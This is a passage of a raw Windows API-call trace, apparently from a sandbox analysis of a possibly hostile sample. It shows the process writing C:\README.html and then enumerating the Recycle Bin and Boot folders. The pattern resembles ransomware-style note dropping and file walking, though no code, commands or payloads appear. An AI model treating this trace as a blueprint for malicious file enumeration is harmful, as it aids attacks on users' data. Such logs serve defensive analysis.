	[0050.164] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442
	[0050.164] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.164] CreateFileW (lpFileName="C:\\README.html" (normalized: "c:\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0050.164] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123ecec0 | out: lpMode=0x123ecec0) returned 0
	[0050.165] WriteFile (in: hFile=0xc0, lpBuffer=0x126f2580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x123eceb0, lpOverlapped=0x0 | out: lpBuffer=0x126f2580*, lpNumberOfBytesWritten=0x123eceb0*=0xc5a, lpOverlapped=0x0) returned 1
	[0050.166] CloseHandle (hObject=0xc0) returned 1
	[0050.166] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12680900*, nNumberOfCharsToWrite=0x1d, lpNumberOfCharsWritten=0x123eca40, lpReserved=0x0 | out: lpBuffer=0x12680900*, lpNumberOfCharsWritten=0x123eca40*=0x1d) returned 1
	[0050.170] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x12503c28 | out: lpFileInformation=0x12503c28*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.170] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.170] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x123eda44 | out: lpFindFileData=0x123eda44*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.171] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.171] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0050.171] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.171] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.171] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), fInfoLevelId=0x0, lpFileInformation=0x12503cc8 | out: lpFileInformation=0x12503cc8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1
	[0050.171] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.171] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.171] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.171] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0050.171] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.171] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.172] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x12503d68 | out: lpFileInformation=0x12503d68*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81)) returned 1
	[0050.172] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0x12503db8 | out: lpFileInformation=0x12503db8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0050.173] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x12503e08 | out: lpFileInformation=0x12503e08*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.173] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.173] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x123eda44 | out: lpFindFileData=0x123eda44*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0050.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
